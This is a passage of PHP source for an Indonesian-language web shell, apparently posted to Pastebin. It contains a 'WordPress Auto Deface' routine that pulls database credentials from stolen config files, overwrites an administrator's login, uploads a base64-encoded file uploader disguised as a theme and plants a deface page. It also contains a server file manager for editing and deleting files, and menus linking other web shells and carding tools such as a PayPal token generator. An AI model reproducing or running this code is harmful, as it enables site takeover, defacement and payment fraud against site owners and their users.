  2123.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2124.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2125.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2126.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2127.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  2128.             $data = curl_exec($ch);
  2129.                   curl_close($ch);
  2130.             return $data;
  2131.         }
  2132.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2133.             $post = array(
  2134.                    "log" => "$userr",
  2135.                    "pwd" => "$pass",
  2136.                    "rememberme" => "forever",
  2137.                    "wp-submit" => "$wp_submit",
  2138.                    "redirect_to" => "$web",
  2139.                    "testcookie" => "1",
  2140.                    );
  2141.             $ch = curl_init($cek);
  2142.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2143.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2144.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2145.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2146.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2147.                   curl_setopt($ch, CURLOPT_POST, 1);
  2148.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2149.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2150.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2151.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2152.             $data = curl_exec($ch);
  2153.                   curl_close($ch);
  2154.             return $data;
  2155.         }
  2156.         $link = explode("\r\n", $_POST['link']);
  2157.         $script = htmlspecialchars($_POST['script']);
  2158.         $user = "indoxploit";
  2159.         $pass = "indoxploit";
  2160.         $passx = md5($pass);
  2161.         foreach($link as $dir_config) {
  2162.             $config = anucurl($dir_config);
  2163.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  2164.             $dbuser = ambilkata($config,"DB_USER', '","'");
  2165.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2166.             $dbname = ambilkata($config,"DB_NAME', '","'");
  2167.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2168.             $prefix = $dbprefix."users";
  2169.             $option = $dbprefix."options";
  2170.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2171.             $db = mysql_select_db($dbname);
  2172.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2173.             $result = mysql_fetch_array($q);
  2174.             $id = $result[ID];
  2175.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2176.             $result2 = mysql_fetch_array($q2);
  2177.             $target = $result2[option_value];
  2178.             if($target == '') {                
  2179.                 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2180.             } else {
  2181.                 echo "[+] $target <br>";
  2182.             }
  2183.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2184.             if(!$conn OR !$db OR !$update) {
  2185.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2186.                 mysql_close($conn);
  2187.             } else {
  2188.                 $site = "$target/wp-login.php";
  2189.                 $site2 = "$target/wp-admin/theme-install.php?upload";
  2190.                 $b1 = anucurl($site2);
  2191.                 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2192.                 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2193.                 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2194.                 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2195.                 $www = "m.php";
  2196.                 $fp5 = fopen($www,"w");
  2197.                 fputs($fp5,$upload3);
  2198.                 $post2 = array(
  2199.                         "_wpnonce" => "$anu2",
  2200.                         "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2201.                         "themezip" => "@$www",
  2202.                         "install-theme-submit" => "Install Now",
  2203.                         );
  2204.                 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2205.                       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2206.                       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2207.                       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2208.                       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2209.                       curl_setopt($ch, CURLOPT_POST, 1);
  2210.                       curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2211.                       curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2212.                       curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2213.                       curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2214.                 $data3 = curl_exec($ch);
  2215.                       curl_close($ch);
  2216.                 $y = date("Y");
  2217.                 $m = date("m");
  2218.                 $namafile = "id.php";
  2219.                 $fpi = fopen($namafile,"w");
  2220.                 fputs($fpi,$script);
  2221.                 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2222.                        curl_setopt($ch6, CURLOPT_POST, true);
  2223.                        curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2224.                        curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2225.                        curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2226.                        curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2227.                        curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  2228.                 $postResult = curl_exec($ch6);
  2229.                        curl_close($ch6);
  2230.                 $as = "$target/k.php";
  2231.                 $bs = anucurl($as);
  2232.                 if(preg_match("#$script#is", $bs)) {
  2233.                     echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2234.                     echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2235.                     } else {
  2236.                     echo "[-] <font color='red'>gagal mepes...</font><br>";
  2237.                     echo "[!!] coba aja manual: <br>";
  2238.                     echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2239.                     echo "[+] username: <font color=lime>$user</font><br>";
  2240.                     echo "[+] password: <font color=lime>$pass</font><br><br>";    
  2241.                     }
  2242.                 mysql_close($conn);
  2243.             }
  2244.         }
  2245.     } else {
  2246.         echo "<center><h1>WordPress Auto Deface V.2</h1>
  2247.         <form method='post'>
  2248.         Link Config: <br>
  2249.         <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  2250.         <input type='text' name='script' height='10' size='50' placeholder='Hacked By FORBIDD3N' required><br>
  2251.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2252.         </form></center>";
  2253.     }
  2254. } elseif($_GET['act'] == 'newfile') {
  2255.     if($_POST['new_save_file']) {
  2256.         $newfile = htmlspecialchars($_POST['newfile']);
  2257.         $fopen = fopen($newfile, "a+");
  2258.         if($fopen) {
  2259.             $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  2260.         } else {
  2261.             $act = "<font color=red>permission denied</font>";
  2262.         }
  2263.     }
  2264.     echo $act;
  2265.     echo "<form method='post'>
  2266.     Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  2267.     <input type='submit' name='new_save_file' value='Submit'>
  2268.     </form>";
  2269. } elseif($_GET['act'] == 'newfolder') {
  2270.     if($_POST['new_save_folder']) {
  2271.         $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  2272.         if(!mkdir($new_folder)) {
  2273.             $act = "<font color=red>permission denied</font>";
  2274.         } else {
  2275.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2276.         }
  2277.     }
  2278.     echo $act;
  2279.     echo "<form method='post'>
  2280.     Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  2281.     <input type='submit' name='new_save_folder' value='Submit'>
  2282.     </form>";
  2283. } elseif($_GET['act'] == 'rename_dir') {
  2284.     if($_POST['dir_rename']) {
  2285.         $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  2286.         if($dir_rename) {
  2287.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2288.         } else {
  2289.             $act = "<font color=red>permission denied</font>";
  2290.         }
  2291.     echo "".$act."<br>";
  2292.     }
  2293.     echo "<form method='post'>
  2294.     <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  2295.     <input type='submit' name='dir_rename' value='rename'>
  2296.     </form>";
  2297. } elseif($_GET['act'] == 'delete_dir') {
  2298.     function Delete($path)
  2299. {
  2300.     if (is_dir($path) === true)
  2301.     {
  2302.         $files = array_diff(scandir($path), array('.', '..'));
  2303.         foreach ($files as $file)
  2304.         {
  2305.             Delete(realpath($path) . '/' . $file);
  2306.         }
  2307.         return rmdir($path);
  2308.     }
  2309.     else if (is_file($path) === true)
  2310.     {
  2311.         return unlink($path);
  2312.     }
  2313.     return false;
  2314. }
  2315.     $delete_dir = Delete($dir);
  2316.     if($delete_dir) {
  2317.         $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2318.     } else {
  2319.         $act = "<font color=red>could not remove ".basename($dir)."</font>";
  2320.     }
  2321.     echo $act;
  2322. } elseif($_GET['act'] == 'view') {
  2323.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2324.     echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  2325. } elseif($_GET['act'] == 'edit') {
  2326.     if($_POST['save']) {
  2327.         $save = file_put_contents($_GET['file'], $_POST['src']);
  2328.         if($save) {
  2329.             $act = "<font color=lime>Saved!</font>";
  2330.         } else {
  2331.             $act = "<font color=red>permission denied</font>";
  2332.         }
  2333.     echo "".$act."<br>";
  2334.     }
  2335.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2336.     echo "<form method='post'>
  2337.     <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  2338.     <input type='submit' value='Save' name='save' style='width: 500px;'>
  2339.     </form>";
  2340. } elseif($_GET['act'] == 'rename') {
  2341.     if($_POST['do_rename']) {
  2342.         $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  2343.         if($rename) {
  2344.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2345.         } else {
  2346.             $act = "<font color=red>permission denied</font>";
  2347.         }
  2348.     echo "".$act."<br>";
  2349.     }
  2350.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2351.     echo "<form method='post'>
  2352.     <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2353.     <input type='submit' name='do_rename' value='rename'>
  2354.     </form>";
  2355. } elseif($_GET['act'] == 'delete') {
  2356.     $delete = unlink($_GET['file']);
  2357.     if($delete) {
  2358.         $act = "<script>window.location='?dir=".$dir."';</script>";
  2359.     } else {
  2360.         $act = "<font color=red>permission denied</font>";
  2361.     }
  2362.     echo $act;
  2363. }else {
  2364.     if(is_dir($dir) == true) {
  2365.         echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  2366.         <tr>
  2367.         <th class="th_home"><center>Name</center></th>
  2368.         <th class="th_home"><center>Type</center></th>
  2369.         <th class="th_home"><center>Size</center></th>
  2370.         <th class="th_home"><center>Last Modified</center></th>
  2371.         <th class="th_home"><center>Permission</center></th>
  2372.         <th class="th_home"><center>Action</center></th>
  2373.         </tr>';
  2374.         $scandir = scandir($dir);
  2375.         foreach($scandir as $dirx) {
  2376.             $dtype = filetype("$dir/$dirx");
  2377.             $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2378.             if(!is_dir("$dir/$dirx")) continue;
  2379.             if($dirx === '..') {
  2380.                 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2381.             } elseif($dirx === '.') {
  2382.                 $href = "<a href='?dir=$dir'>$dirx</a>";
  2383.             } else {
  2384.                 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2385.             }
  2386.             if($dirx === '.' || $dirx === '..') {
  2387.                 $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  2388.                 } else {
  2389.                 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2390.             }
  2391.             echo "<tr>";
  2392.             echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2393.             echo "<td class='td_home'><center>$dtype</center></td>";
  2394.             echo "<td class='td_home'><center>-</center></th>";
  2395.             echo "<td class='td_home'><center>$dtime</center></td>";
  2396.             echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  2397.             echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2398.         }
  2399.         echo "</tr>";
  2400.         foreach($scandir as $file) {
  2401.             $ftype = filetype("$dir/$file");
  2402.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2403.             $size = filesize("$dir/$file")/1024;
  2404.             $size = round($size,3);
  2405.             if($size > 1024) {
  2406.                 $size = round($size/1024,2). 'MB';
  2407.             } else {
  2408.                 $size = $size. 'KB';
  2409.             }
  2410.             if(!is_file("$dir/$file")) continue;
  2411.             echo "<tr>";
  2412.             echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2413.             echo "<td class='td_home'><center>$ftype</center></td>";
  2414.             echo "<td class='td_home'><center>$size</center></td>";
  2415.             echo "<td class='td_home'><center>$ftime</center></td>";
  2416.             echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  2417.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2418.         }
  2419.         echo "</tr></table>";
  2420.     } else {
  2421.         echo "<font color=red>can't open directory</font>";
  2422.     }
  2423.     }
  2424. echo "<center><hr><form>
  2425. <select onchange='if (this.value) window.open(this.value);'>
  2426.   <option selected='selected' value=''> Tools Creator </option>
  2427.   <option value='$ling=wso'>WSO 2.8.1</option>
  2428.   <option value='$ling=injection'>1n73ction v3</option>
  2429.   <option value='$ling=wk'>WHMCS Killer</option>
  2430.   <option value='$ling=adminer'>Adminer</option>
  2431.   <option value='$ling=b374k'>b374k Shell</option>
  2432.   <option value='$ling=b374k323'>b374k 3.2</option>  
  2433.   <option value='$ling=bh'>BlackHat Shell</option>      
  2434.   <option value='$ling=dhanus'>Dhanush Shell</option>    
  2435.   <option value='$ling=r57'>R57 Shell</option>    
  2436. <option value='$ling=encodedecode'>Encode Decode</option>    
  2437. <option value='$ling=r57'>R57 Shell</option>    
  2438. </select>
  2439. <select onchange='if (this.value) window.open(this.value);'>
  2440.   <option selected='selected' value=''> Tools Carder </option>
  2441.   <option value='$ling=extractor'>DB Email Extractor</option>
  2442.   <option value='$ling=promailerv2'>Pro Mailer V2</option>    
  2443.   <option value='$ling=bukalapak'>BukaLapak Checker</option>        
  2444.   <option value='$ling=tokopedia'>TokoPedia Checker</option>  
  2445.   <option value='$ling=tokenpp'>Paypal Token Generator</option>  
  2446.   <option value='$ling=mailer'>Mailer</option>  
  2447.   <option value='$ling=gamestopceker'>GamesTop Checker</option>
  2448.   </select>
  2449. <noscript><input type='submit' value='Submit'></noscript>
  2450. </form>Copyright &copy; ".date("Y")." - <a href='http://www.google.com' target='_blank'><font color=lime>K|C|H Squad</font></a> Shell Recoded By <a href='http://fb.com/zuck' target='_BLANK'><font color=lime>Tanpa Nama</a></font></center>";
  2451. ?>
  2452. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top